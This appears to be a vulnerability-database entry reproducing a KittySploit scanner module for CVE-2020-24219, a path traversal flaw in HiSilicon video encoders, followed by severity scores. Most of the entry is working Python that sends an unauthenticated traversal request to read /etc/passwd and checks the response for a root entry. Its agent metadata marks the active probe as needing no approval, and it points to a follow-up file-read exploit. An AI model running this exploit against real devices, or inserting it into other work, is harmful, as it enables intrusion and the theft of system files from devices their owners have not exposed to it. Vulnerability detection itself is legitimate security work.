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HiSilicon Encoder - Path Traversal Detection (CVE-2020-24219)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated path traversal in HiSilicon encoder allows reading /etc/passwd.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HiSilicon encoder /sys/devices/media path traversal (CVE-2020-24219)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'HiSilicon Encoder - Path Traversal Detection (CVE-2020-24219)',
        'description': (
            'Detects CVE-2020-24219 by reading /etc/passwd via '
            '/../../sys/devices/media/13070000.jpgd/../../../etc/passwd.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': [
            'web', 'scanner', 'cve', 'cve2020', 'hisilicon', 'iot', 'lfi',
            'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 0.9,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'auxiliary/admin/http/hisilicon_cve_2020_24219_file_read',
                ],
            },
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-24219'],
        'cve': 'CVE-2020-24219',
    }

    def run(self):
        path = '/../../sys/devices/media/13070000.jpgd/' + ('../' * 4) + 'etc/passwd'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if r and re.search(r'root:.*:0:0:', r.text or ''):
            self.set_info(
                severity='high',
                reason='HiSilicon encoder path traversal (CVE-2020-24219)',
                path=path,
            )
            return True
        return False

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10 Aug 2026 06:19Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 27.8
EPSS0.23636
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